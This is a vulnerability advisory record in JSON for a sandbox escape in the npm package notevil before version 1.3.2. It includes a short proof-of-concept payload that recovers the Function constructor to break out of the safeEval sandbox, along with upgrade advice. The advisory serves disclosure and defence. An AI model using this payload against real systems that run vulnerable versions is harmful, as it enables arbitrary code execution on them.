{"id":"GHSA-7r5f-7qr4-pf6q","aliases":[],"url":"https://o3.security/vulnerability/GHSA-7r5f-7qr4-pf6q","summary":"Sandbox Breakout / Arbitrary Code Execution in notevil","details":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","published":"2020-09-03T19:03:33Z","modified":"2020-08-31T18:47:00Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"notevil","fixedVersion":"1.3.2"}],"fix":null,"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1093"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-08-31T18:47:00Z"}}